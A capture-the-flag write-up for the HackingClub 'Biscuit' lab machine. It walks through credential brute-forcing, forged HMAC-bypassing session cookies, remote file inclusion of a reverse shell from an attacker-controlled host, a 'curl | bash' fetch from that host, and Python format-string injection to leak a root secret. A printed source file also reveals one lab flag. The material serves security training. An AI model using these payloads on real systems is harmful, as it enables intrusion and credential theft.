↓Skip to main content

[Write-Up] HackingClub: Biscuit

Biscuit #

Recon #

Nmap #

Start out by performing a scan on the top 1000 most common ports using Nmap. The scan results show a web server running on port 80, it also shows that it’s an Apache server.

┌──(kali㉿kali)-[~]
└─$ nmap -sV biscuit.hc          
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-18 06:58 -0400
Nmap scan report for biscuit.hc (172.16.12.229)
Host is up (0.30s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.66 (() PHP/7.4.19)
111/tcp open  rpcbind 2-4 (RPC #100000)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.53 seconds

Enumeration #

Stack #

  • Apache HTTP Server 2.4.66
  • PHP 7.4.19

Manual Exploration #

Accessing the application we find a login screen. On this screen we try some thing, such as SQL injection, type confusion and manipulating the username and password fields to see if we can cause changes of behavior or errors.

An interesting find, that at this point does not lead anywhere, is that by sending a 0 on the password field the behavior changes. The standard message we get when trying to login without valid credentials is:

But when we send the 0 on the password we do not get the message Usuario ou senha inválido! (which stands for Invalid username or password). This does not lead to any way to bypass this screen.

Fuzzing #

Using ffuf to perform fuzzing on the web application with a small word list results in some findings:

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://biscuit.hc/FUZZ" -w /usr/share/wordlists/dirb/common.txt   

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://biscuit.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 6773, Words: 862, Lines: 301, Duration: 295ms]
.htaccess               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4158ms]
.hta                    [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4158ms]
.htpasswd               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4162ms]
cgi-bin/                [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 292ms]
class                   [Status: 301, Size: 272, Words: 15, Lines: 8, Duration: 283ms]
index.php               [Status: 200, Size: 6773, Words: 862, Lines: 301, Duration: 283ms]
:: Progress: [4614/4614] :: Job [1/1] :: 143 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

Using recursion we can try to find some more results on these initial findings, but nothing is found on this new level of fuzzing:

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://biscuit.hc/FUZZ" --recursion -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://biscuit.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 6773, Words: 862, Lines: 301, Duration: 288ms]
.htpasswd               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 4062ms]
.hta                    [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 5078ms]
.htaccess               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 5081ms]
cgi-bin/                [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 280ms]
class                   [Status: 301, Size: 272, Words: 15, Lines: 8, Duration: 272ms]
[INFO] Adding a new job to the queue: http://biscuit.hc/class/FUZZ

index.php               [Status: 200, Size: 6773, Words: 862, Lines: 301, Duration: 280ms]
[INFO] Starting queued job on target: http://biscuit.hc/class/FUZZ

.htpasswd               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 293ms]
.hta                    [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 295ms]
.htaccess               [Status: 403, Size: 239, Words: 15, Lines: 8, Duration: 295ms]
                        [Status: 200, Size: 923, Words: 71, Lines: 16, Duration: 798ms]
:: Progress: [4614/4614] :: Job [2/2] :: 142 req/sec :: Duration: [0:00:32] :: Errors: 0 ::

Exploitation #

Word list Brute Force #

After poking around with the login screen and finding nothing, we get a wordlist with common usernames and passwords from GitHub. Write a small Python script to run that word list against the application:

import argparse
import sys
import requests
import re

def login_user(host, user):
    data = {'username': user, 'password': user}
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    request = requests.post(host, data=data, headers=headers)
    if not re.search('Usuario ou senha inválido!', request.content.decode("utf-8")):
        print(f"Valid credentials found: {user}:{user}")

parser = argparse.ArgumentParser(
        prog='User brute force',
        description='Brute forces user and password using a wordlist')

parser.add_argument('host')
parser.add_argument('-w', '--wordlist', required=True)

if __name__ == "__main__":
    args = parser.parse_args()
    print(f"Host: {args.host}")
    print(f"Wordlist: {args.wordlist}")

    with open(args.wordlist) as file:
        for line in file:
            user = line.strip('\n')
            login_user(args.host, user)

After running that we get the following results (guest:guest are valid credentials):

┌──(kali㉿kali)-[~/Machines/HC-Biscuit]
└─$ python3 user_tests.py http://biscuit.hc -w top-usernames-shortlist.txt
Host: http://biscuit.hc
Wordlist: top-usernames-shortlist.txt
Valid credentials found: guest:guest

Now logging in with these credentials we get a valid session token, like the one shared below, which we can decode using base64:

eyJobWFjIjoiYTJkMWI3YTU0ODJmOTk0MTllNzU0ODkzMzQ0N2VkYjEiLCJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwaXJhdGlvbiI6MTc5MjMzOTYxOH0
## Base64 decoded
{"hmac":"a2d1b7a5482f99419e7548933447edb1","username":"guest","expiration":1792339618}

Try to tamper with the session token, one obvious thing to do is to try privilege escalation by changing the username to admin or administrator, by doing that we get an error and the first flag:

 Fatal error: Uncaught Exception: Biscuit Security Exception, you've been blocked due cookie tampering. Stop or your ip address will be banned! - UHC{REDACTED} in /var/www/html/class/Auth.class.php:38 Stack trace: #0 /var/www/html/class/Auth.class.php(13): Auth->decode(Object(stdClass)) #1 /var/www/html/index.php(41): Auth->__construct() #2 {main} thrown in /var/www/html/class/Auth.class.php on line 38

Since the session token is HMAC signed one would need to either have the key to generate the token or bypass it somehow. Earlier we found out that by sending a 0 on the password, the behavior on the login screen changed, so we try sending some different values on the JSON, such as 0, an array and true.

When sending the key hmac with value true, we don’t get the tampering error. The commands to achieve that are show below - with the session id, one can use curl, the web browser or Burp to change the session cookie:

┌──(kali㉿kali)-[~]
└─$ printf "%s" '{"hmac":true,"username":"admin","expiration":1792352151}' | base64 -w 0
eyJobWFjIjp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwaXJhdGlvbiI6MTc5MjM1MjE1MX0=

From that, the next move is to try and send some other users, like admin or administrator, or a random string such as anyvalue. When sending admin we get the following screen:

If we send administrator or anyvalue we trigger an error, before we generate the tokens:

┌──(kali㉿kali)-[~]
└─$ printf "%s" '{"hmac":true,"username":"administrator","expiration":1792352151}' | base64 -w 0
eyJobWFjIjp0cnVlLCJ1c2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJleHBpcmF0aW9uIjoxNzkyMzUyMTUxfQ==
┌──(kali㉿kali)-[~]
└─$ printf "%s" '{"hmac":true,"username":"anyvalue","expiration":1792352151}' | base64 -w 0
eyJobWFjIjp0cnVlLCJ1c2VybmFtZSI6ImFueXZhbHVlIiwiZXhwaXJhdGlvbiI6MTc5MjM1MjE1MX0

Below the errors that it returns:

 Warning: require_once(administrator.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 64

Fatal error: require_once(): Failed opening required 'administrator.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/index.php on line 64


Warning: require_once(anyvalue.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 64

Fatal error: require_once(): Failed opening required 'anyvalue.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/index.php on line 64

From these errors we may try both Local File Inclusion and Remote File Inclusion. After testing some payloads, we finally come to the payload below, where we are injecting a remote file from a server we control into the application:

┌──(kali㉿kali)-[~]
└─$ printf "%s" '{"hmac":true,"username":"http://10.0.9.28:8000/php-reverse-shell","expiration":1792352151}' | base64 -w 0 
eyJobWFjIjp0cnVlLCJ1c2VybmFtZSI6Imh0dHA6Ly8xMC4wLjkuMjg6ODAwMC9waHAtcmV2ZXJzZS1zaGVsbC5waHAiLCJleHBpcmF0aW9uIjoxNzkyMzUyMTUxfQ==

Update the session cookie with the value above and update the page, setup a server to serve the php-reverse-shell and a netcat listening on a given port, I choose 4444:

One important caveat that was found when trying other payloads is that the require_once is always appending a .php extension, so we supply our remote file without the extension, but the actual file does have an extension. After running this, and having a netcat running on another shell, we get:

┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ nc -lnvp 4444                
listening on [any] 4444 ...
connect to [10.0.9.28] from (UNKNOWN) [172.16.5.198] 50108
Linux ip-172-16-5-198.ec2.internal 4.14.232-177.418.amzn2.x86_64 #1 SMP Tue Jun 15 20:57:50 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 18:58:07 up 29 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ 

Improve the shell using Python3 then we get the second flag. Also, we could get the HMAC key by using cat on /var/www/html/class/Auth.class.php

sh-4.2$ which python3
which python3
/usr/bin/python3
sh-4.2$ python3 -c 'import pty; pty.spawn("/bin/bash");'
python3 -c 'import pty; pty.spawn("/bin/bash");'
bash-4.2$ ^Z
zsh: suspended  nc -lnvp 4444
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ stty -a | grep rows
speed 38400 baud; rows 78; columns 155; line = 0;
┌──(kali㉿kali)-[~/Machines/ctf-tools]
└─$ stty raw -echo; fg 
[1]  + continued  nc -lnvp 4444

bash-4.2$ stty rows 78 columns 155
bash-4.2$ export TERM=xterm-256color
bash-4.2$ ls
bin  boot  dev  etc  home  impossible to guess this flag.txt  lib  lib64  local  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
bash-4.2$ cat impossible\ to\ guess\ this\ flag.txt 
UHC{REDACTED}

Privilege Escalation #

After getting an initial shell, we run recon on the target:

bash-4.2$ curl http://10.0.9.28:8000/linrecon.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1928  100  1928    0     0   3328      0 --:--:-- --:--:-- --:--:--  3329
[+] Current user: apache
    User id: uid=48(apache) gid=48(apache) groups=48(apache)
    User groups: apache
[+] Passwordless sudo commands: 
Matching Defaults entries for apache on ip-172-16-5-198:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User apache may run the following commands on ip-172-16-5-198:
    (ALL) NOPASSWD: /opt/biscuit_checker.py
(...)

The user can run /opt/biscuit_checker.py via sudo without a password. Looking at that file, although the user can execute it, they don’t have permission to read or write it.

By running the script we see that it’s intended to block IPs:

bash-4.2$ sudo /opt/biscuit_checker.py

Biscuit IP Blocker!

Menu:
  1. Block IP
  2. List Blocked IP\'s
  3. Exit

So we can also look up the source code to better understand how it’s supposed to be used, since we know that this functionality of blocking IPs is used on the website:

bash-4.2$ cat /var/www/html/class/Auth.class.php 
<?php

class Auth{
    public $auth;
    public $key = 'REDACTED';
    public function __construct(){
        $this->auth = new Stdclass;
        if(isset($_COOKIE['session']) and !empty($_COOKIE['session'])){
            $result = $this->decode(json_decode(base64_decode($_COOKIE['session'])));
            if($result){
                $user = json_decode(base64_decode($_COOKIE['session']));
                $_SESSION['user'] = $user->username;
                $this->auth->status = true;
            }
        }
    }
    public function encode($user){
        $hash = hash_hmac('md5', $user->username . '|' . $user->expiration, $this->key);
        return $hash;
    }
    public function decode($cookie){
       
        $hash = hash_hmac('md5', $cookie->username . '|' . $cookie->expiration, $this->key);
       
        if($hash == $cookie->hmac){ 
            
            return true;
        }else{
            ini_set('display_errors', 1);
            ini_set('display_startup_errors', 1);
            error_reporting(E_ERROR);
            $_SESSION['block'] += 1;
            throw new Exception('Biscuit Security Exception, you\'ve been blocked due cookie tampering. Stop or your ip address will be banned! - UHC{C00k13_T4mp3r1ng_Try}');

        }
    }
    public function doAuth($username, $password){

        if($username == "guest" and $password == "guest"){
            $user->username = "guest";
            $user->expiration = time()+ 3600;
            
            $cookie = new Stdclass;
            $cookie->hmac = $this->encode($user);
            $cookie->username = $user->username;
            $cookie->expiration = $user->expiration;
            $_SESSION['user'] = $cookie->username;
            setcookie('session', base64_encode(json_encode($cookie)), time()+3600);
            $this->auth->status = true;
            return true;
        }else{ 
            return false;
        }
    }
    public function checkAuth(){
        return $this->auth->status;
    }
    public function close(){
        $this->auth->status = false;
    }
    public function __desctruct(){
        $this->auth->close();
    }
}
bash-4.2$ cat /var/www/html/index.php 
<?php 
session_start();
define('_DEFVAR', 1);
function getip(){ 
     if(!empty($_SERVER['HTTP_CLIENT_IP'])) {  
                $ip = $_SERVER['HTTP_CLIENT_IP'];  
        }elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];  
     }else{  
             $ip = $_SERVER['REMOTE_ADDR'];  
     }  
     return $ip;  
}  

$get = json_decode(file_get_contents("block.ips.db.json"));

foreach($get->ips as $ip){
    if($ip == getip()){
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ERROR);
        throw new Exception('Biscuit Security Exception, you\'ve been blocked due cookie tampering.');

    }
}

if(isset($_SESSION['block']) and $_SESSION['block'] >= 10){
    $get->ips[] = getip();
    file_put_contents('block.ips.db.json', json_encode($get));
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ERROR);
    throw new Exception('Biscuit Security Exception, you\'ve been blocked due cookie tampering!');
}
require "class/Auth.class.php";
$auth = new Auth();

if(isset($_POST['username']) and $_POST['password']){
    if($auth->doAuth($_POST['username'], $_POST['password'])){
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ERROR);
        require_once $_SESSION['user']. ".php";
    }else{
        $error = 1;
        require_once "login.php";
    }
}else{

if($auth->checkAuth()){
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(E_ALL);
    require_once $_SESSION['user']. ".php";
}else{
    require_once "login.php";
}
}

We notice that the IPs are registered in a file called /var/www/html/block.ips.db.json. So we can give arbitrary data to this Python application. We can try to exploit format strings since we have this control over the data.

Start by giving just any value as input in the file, respecting the JSON formatting:

bash-4.2$ cat block.ips.db.json 
{"ips":["{randomvalue}"]}
bash-4.2$ sudo /opt/biscuit_checker.py

Biscuit IP Blocker!

Menu:
  1. Block IP
  2. List Blocked IP's
  3. Exit

>2
Traceback (most recent call last):
  File "/opt/biscuit_checker.py", line 38, in <module>
    banner()
  File "/opt/biscuit_checker.py", line 34, in banner
    ip.list_blocked()
  File "/opt/biscuit_checker.py", line 16, in list_blocked
    print(self.ip.format(ip=self))
KeyError: 'randomvalue'

So we can see that we have an object ip that is being passed to a print statement, and this object has a method list_blocked():

bash-4.2$ cat block.ips.db.json 
{"ips":["{ip.__class__}"]}
bash-4.2$ sudo /opt/biscuit_checker.py

Biscuit IP Blocker!

Menu:
  1. Block IP
  2. List Blocked IP's
  3. Exit

>2
<class '__main__.IPADDRESS'>
bash-4.2$ cat block.ips.db.json 
{"ips":["{ip.list_blocked.__class__}"]}
bash-4.2$ sudo /opt/biscuit_checker.py

Biscuit IP Blocker!

Menu:
  1. Block IP
  2. List Blocked IP's
  3. Exit

>2
<class 'method'>

We can then list the globals using the payload:

bash-4.2$ cat block.ips.db.json 
{"ips":["{ip.list_blocked.__globals__}"]}
bash-4.2$ fg
vim block.ips.db.json

[1]+  Stopped                 vim block.ips.db.json
bash-4.2$ sudo /opt/biscuit_checker.py

Biscuit IP Blocker!

Menu:
  1. Block IP
  2. List Blocked IP's
  3. Exit

>2
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fd00742e090>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/opt/biscuit_checker.py', '__cached__': None, 'requests': <module 'requests' from '/usr/local/lib/python3.7/site-packages/requests/__init__.py'>, 'json': <module 'json' from '/usr/lib64/python3.7/json/__init__.py'>, 'root_secret': 'REDACTED', 'IPADDRESS': <class '__main__.IPADDRESS'>, 'banner': <function banner at 0x7fcfff274320>}

By doing this we find the root_secret, we try using that to login as root, it’s successful and we can find the third flag:

# Login with the root secret as password
bash-4.2$ su - root
Password: 
Last login: Fri Jul  2 18:13:35 UTC 2021 from ec2-18-206-107-24.compute-1.amazonaws.com on pts/0
[root@ip-172-16-3-168 ~]# ls
root.txt
[root@ip-172-16-3-168 ~]# cat root.txt 
UHC{REDACTED}

Vulnerabilities #

Weak Credentials #

The application has a default user with weak credentials, which is easy to brute force by using a word list of common usernames and passwords. It would be required to either disable that user or to change it’s password to a strong password, so that it would not be easy to guess.

Type Juggling on HMAC #

There’s a type juggling vulnerability on the session cookie, although the session token has HMAC signing, which makes it strong against tampering, there’s an improper check happening that allows type juggling, when we input a boolean value true it evaluates to true, bypassing entirely the HMAC signing process.

Remote File Inclusion #

This requires chaining with type juggling, there’s a require_once to load the user pages, by giving a random value, which will lead to an error due to the file not existing it leaks this error:

Fatal error: require_once(): Failed opening required 'anyvalue.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/index.php on line 64

So an attacker can now try to inject any file that he owns, which will also lead to remote code execution.

Information Disclosure #

The application is not handling errors properly, when the attacker manages to trigger an error it leaks code which may help the attacker to better understand the system and craft his payload.

Flags #

  • First flag (leaked in cookie-tampering exception message): UHC{REDACTED}
  • Second flag (apache foothold via remote file inclusion): UHC{REDACTED}
  • Root (Python format-string injection in sudo script, root_secret leak): UHC{REDACTED}

References #